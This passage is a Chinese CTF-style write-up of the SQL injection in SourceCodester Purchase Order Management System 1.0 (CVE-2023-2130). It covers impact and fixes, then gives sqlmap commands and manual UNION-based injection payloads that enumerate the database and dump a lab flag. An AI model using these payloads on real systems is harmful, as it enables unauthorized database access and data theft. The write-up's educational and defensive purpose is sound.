当前位置: 首页 > article >正文

【春秋云镜】CVE-2023-2130

目录

  • CVE-2023-2130
    • 漏洞利用
    • 漏洞检测
    • 防御措施
  • 靶标介绍:
    • 解法一:
    • 解法二:

CVE-2023-2130

漏洞详细信息

  • 漏洞编号:CVE-2023-2130
  • 漏洞名称:SQL注入漏洞
  • 受影响的版本:SourceCodester采购订单管理系统1.0
  • 影响范围:/admin/suppliers/view_details.php文件中的id参数
  • 漏洞类型:SQL注入
  • 攻击途径:远程
  • 攻击复杂度:低
    漏洞影响
    由于该系统在未对输入的id参数进行有效验证和过滤,攻击者可以利用此漏洞通过向id参数注入SQL语句来操控数据库。这种操作可能导致:
  1. 敏感数据泄露:攻击者可以读取数据库中的敏感数据,包括用户、供应商等信息。
  2. 数据篡改:攻击者可能插入、删除或更新数据库中的数据。
  3. 权限提升:如果系统中存在管理用户的表或字段,攻击者可能会利用漏洞提升权限。
  4. 进一步攻击:在极端情况下,可能进一步导致远程代码执行等安全隐患。

漏洞利用

攻击者可以通过在id参数中插入SQL查询,如下所示:

http://example.com/admin/suppliers/view_details.php?id=1' OR '1'='1

这种方式可能导致数据库执行附加的SQL语句,并返回大量未授权的信息。

漏洞修复
为了防止SQL注入漏洞,可以采取以下措施:

  1. 参数化查询:使用PDO或MySQLi等库来实现参数化查询,从根本上防止SQL注入。
  2. 输入验证和过滤:对用户输入的参数进行严格的验证,确保只允许数字格式的id参数通过。
  3. 使用ORM框架:考虑使用对象关系映射(ORM)框架来处理数据库交互,减少手动拼接SQL语句的机会。
  4. 最小化权限:将数据库账户权限设置为最低,避免拥有不必要的增删改权限。

漏洞检测

可以通过以下步骤检测该系统是否存在该漏洞:

  1. 使用带有SQL语句的id参数访问目标URL,观察是否返回异常的数据库信息或报错页面。
  2. 利用SQL注入测试工具(如sqlmap)来进行检测,以自动化方式检查是否存在SQL注入漏洞。
    示例检测命令:
sqlmap -u "http://example.com/admin/suppliers/view_details.php?id=1" --dbs

防御措施

  • WAF(Web应用防火墙):通过WAF来拦截潜在的SQL注入攻击请求。
  • 日志审计:定期检查服务器和应用日志,发现异常请求或潜在的SQL注入尝试。

总结:SQL注入漏洞是常见的安全风险,尤其在处理用户输入时应格外谨慎,采用适当的防护措施可有效降低系统被攻击的风险。及时修复漏洞并部署防护措施对于保障系统安全至关重要。

靶标介绍:

在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。

在这里插入图片描述

解法一:

sqlmap

第一步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -dbs

在这里插入图片描述

第二步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch -D purchase_order_db --tables

在这里插入图片描述

第三步:

python sqlmap.py -u "http://eci-2ze9ssbzw095ojzvdrhn.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=1" --batch --batch -D purchase_order_db -T fllllaaaag -dump

在这里插入图片描述

解法二:

手工注入

查询注入字符的字段数

1' order by 8--+

字段为8的时候是有回显的
在这里插入图片描述
测试回显位置

1' and 1=2 union select 1,2,3,4,5,6,7,8--+

在这里插入图片描述
23456是有回显的

查询当前数据库、当前用户、数据库版本

1' and 1=2 union select 1,2,3,database(),user(),version(),7,8--+

在这里插入图片描述
查询数据库中的所有表

1' AND 1=2 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database()--+

1
查看fllllaaaag表

1' AND 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8 FROM information_schema.columns WHERE table_name='fllllaaaag'--+

在这里插入图片描述
查看flag

1' AND 1=2 UNION SELECT 1,2,group_concat(flag),4,5,6,7,8 FROM fllllaaaag--+

在这里插入图片描述

flag{a494e737-c3f8-4fe7-9c85-0a38d1a16c5e}

http://www.kler.cn/a/387555.html

相关文章:

  • 推荐一个超漂亮ui的网页应用设计
  • 【webrtc】 RTP 中的 MID(Media Stream Identifier)
  • 【Elasticsearch入门到落地】1、初识Elasticsearch
  • 第二天python笔记
  • Vue 3 中,computed 和 watch的区别
  • 鸿蒙华为商城APP案例
  • springboot系列--web相关知识探索七
  • 使用 pd.ExcelWriter 创建多工作表 Excel 文件的详细教程
  • JAVA中的string和stringbuffer
  • SQL进阶技巧:如何计算复合增长率?
  • 如何在Python中实现一个简单的搜索引擎:从零开始的指南
  • Vue中父组件通过v-model向子组件传对象参数
  • 图像识别算法优化:提升识别精度与速度
  • 记一次文件包含刷题(伪协议篇)
  • Leetcode 买卖股票的最佳时机 Ⅱ
  • 思考:linux Vi Vim 编辑器的简明原理,与快速用法之《 7 字真言 》@ “鱼爱返 说 温泉哦“ (**)
  • 华为云计算知识总结——及案例分享
  • kaggle学习 eloData项目(2)-数据清洗
  • C/C++中预处理器指令有哪些,举例说明其用途。
  • 2.索引:SQL 性能分析详解
  • Intel AMT技术在服务器硬件监控中的应用与解读
  • C语言--结构体详解
  • Ubuntu下如何管理多个ssh密钥
  • OSPF总结
  • Django 详细入门介绍
  • 使用Rust实现http/https正向代理